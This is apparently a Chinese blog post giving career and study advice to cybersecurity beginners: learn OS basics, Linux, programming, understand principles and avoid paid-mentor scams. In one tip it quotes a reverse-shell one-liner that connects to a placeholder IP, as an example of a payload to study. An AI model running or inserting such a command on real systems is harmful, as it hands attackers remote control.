网安新手起步举步维艰?分享一些我的经验

各位未来的大牛、黑客、赏金猎人、红队下午好哇,如标题所见,今天是一期杂谈。

做公众号也三年了,有很多师傅都和我在微信聊过天,不管是群,还是私聊,看到过很多比较抽象的问题,简单举几个例子:

有没有linux版本的burp破解版?

xxx.jar怎么启动?

为什么我下载的工具(cve-2024-xxxxx.py)杀软软件报毒?

怎么写批量检测脚本?

有没有师傅带带我啊?

39282c835f5366ae38a42bf313beb05a

很多师傅半路出家,上来先干sql注入,接着再干文件上传,top10学完连怎么解压7z都还不知道,拿到一个jar束手无策,失去了GUI工具箱根本不知道工具怎么启动,别人写的代码根本不会想着看一眼,能运行就高呼大佬,被一个基础功底就能写出来的几十行代码的程序忽悠得团团转,没错,这就是现在真实的”安全圈“。

1041b52e8a6322202e73dfa11f80c51b

所以对应的做基础内容的自媒体才是主流,也许正在看文章的你也写过一些比较有意思的技术文章,但流量极低,反观做基础内容的媒体,比如各类gui,比如发现成的poc,甚至burp成品破解,那种下载下来自带几百兆java环境那种,我以前也做过,真的流量还不错,如果我这篇文章是burp最新版一键启动,可能比我写这些话阅读量还高。

8e5413d7f06c5ab3126b2dd9663436d8

不管别人怎么做,我还是希望看到这篇文章的你,能够明白一个道理,那就是万丈高楼平地起,辉煌还得靠地基,学安全,做安全,起码你应该拥有一些基础知识,不要急于求成,这个方向不是一个可以速成的领域,如果你尝试速成,最后的结果就是在做的过程中处处受阻,举步维艰。

如果以上内容和你完全相符,那我有一点经验和建议,希望能对看到这篇文章的你有帮助。

1、windows日常操作基础知识,包括但不限于如何解压各类压缩包,搭建虚拟机,管理文件妥善存放等等,起码你应该是一个windows达人,敲键盘、找功能都还不熟悉的话后面会非常吃力。

2、在你能够熟练使用windows,以及能够自行应对可能出现的各种问题,学会善用搜索引擎而不是傻乎乎的发群里问之后,你还需要熟悉linux,提醒一下,做安全不可能不会linux,不要逃避它,不一定需要你整个红帽认证那种级别,但起码基础命令,linux系统结构、原理,在linux上怎么做到自己想要的操作,比如装环境,比如执行可执行文件,比如下载上传东西,查运行,查端口,启动重启停止服务,查询状态,如果你觉得太多太复杂,不想系统的学,那我有个很好的建议,就是在正常学习的过程中,如果遇见linux命令,请手敲,不要复制黏贴,久而久之就可以熟练的使用linux了。

3、熟悉各种环境搭建以及使用,比如java,py等等,很多师傅就是头疼环境问题,其实这些不同的语言是一项通,项项通,原理是一样的,在你完成上面两点之后,你应该可以找到环境的解决办法以及理解它的原理,如果你还不能通过自己查资料以及用工具解决多环境问题,我真诚的建议你转行,IT这块难再发展了。

4、除了上面提到的善用搜索引擎(我个人推荐使用bing、谷歌)以外,我们还需要一点更强的资料查找能力,微信公众号、github、推特、youtube也要利用起来,很多时候你需要的东西不是一定要付费,或者不需要付那么多费,不要被简单的东西割韭菜。

5、一定要会一点编程,不需要你会非常深的操作,不用你去考虑高性能、死锁等等问题,一门编程语言,基本上只需要学15天,当你能够像搭积木一样做出一个傻瓜式的程序,能够初步代替手工的时候,对学安全来讲就足够了,深入那是之后的事情,不是你现阶段的目标,当你完成这15天的学习,你再转过头去看你之前认为的所谓大佬写的东西,你会发现其实他们也只是在傻乎乎的搭积木,在如今AI的能力加持下,你从零基础到和他们一样写工具,已经完全不需要有人教或者报培训班。

有师傅就疑惑了,为什么我要会呢,别人都写好了我直接用不就行了?

错误的,不要过于追求现成,求原理然后转化为自己的知识储备,这是一个思维,注意不单单只是用工具,在安全技术这一块,凡事亲力亲为,知道原理才是进步,自己会是自己的,别人会拿给你用,那是别人的,你没有而别人有,之间的差距就会在工资上体现出来。

6、如第五条所讲,追根溯源,是一个非常值得拥有的能力,无论是你学习技术,还是找资料,一定要保持追根溯源的好习惯,举个例子,技术向,只知道打了一个payload可以造成rce是不够的,要知道为什么,payload进入目标程序后是如何执行的,甚至深入到进入到底层linux后它是怎么运行的,经典的反弹shell,一句简单的命令:sh -i >& /dev/tcp/xxx.xxx.xx.xx/9001 0>&1 当你去观察它是如何运作的时候,你就能感受到追求原理的魅力;找资料方面,当你看到一篇文章,一个工具,一个思路,如果当时不是原作所在,就要去找到它的出处,因为一般你觉得有价值的东西,他的作者还会产出另一些你可能认为有价值的东西,顺藤摸瓜。

7、这条不是安全相关,只是我的一个经验,当有人带给你足够利润的时候,你要思考他是否也有利润,同时判断价值是否相当,学会换位思考,如果你是他,你会不会这样做,坚信这个世界上不存在给你做慈善的人,就不会被骗。

8、你可以找同伴,找朋友,找志同道合的人,但切记不要找师父,没有人会平白无故带你,唯有互相交流,共同努力,互惠互利才是王道,我经常看到很多人都说自己有师傅,或者想找一个师傅带自己,正如第七条所说,换位思考,如果你是一个有能力的人,你愿不愿意无偿或者是低偿把自己赖以为生的东西教出去,有部分师傅知道没有人会无偿,但他却会相信有低偿,这就是为什么他会被割韭菜的原因,甚至有部分师傅还会相信有无偿,把某些”大黑客“奉为师傅,传授一些无足轻重的东西就感恩戴德,虽然没有金钱损失,但你浪费了自己的时间。

保守性交流,也许会错过贵人,但一定不会遭遇骗子。

9、记得关注我,点赞这篇文章,转发给你应该看看这篇文章的朋友,一起在留言区交流,棉花糖也在学习,期待和你一起,我们下期再见!

 

© 版权声明
THE END
喜欢就支持一下吧
点赞24 分享
评论 共1条

请登录后发表评论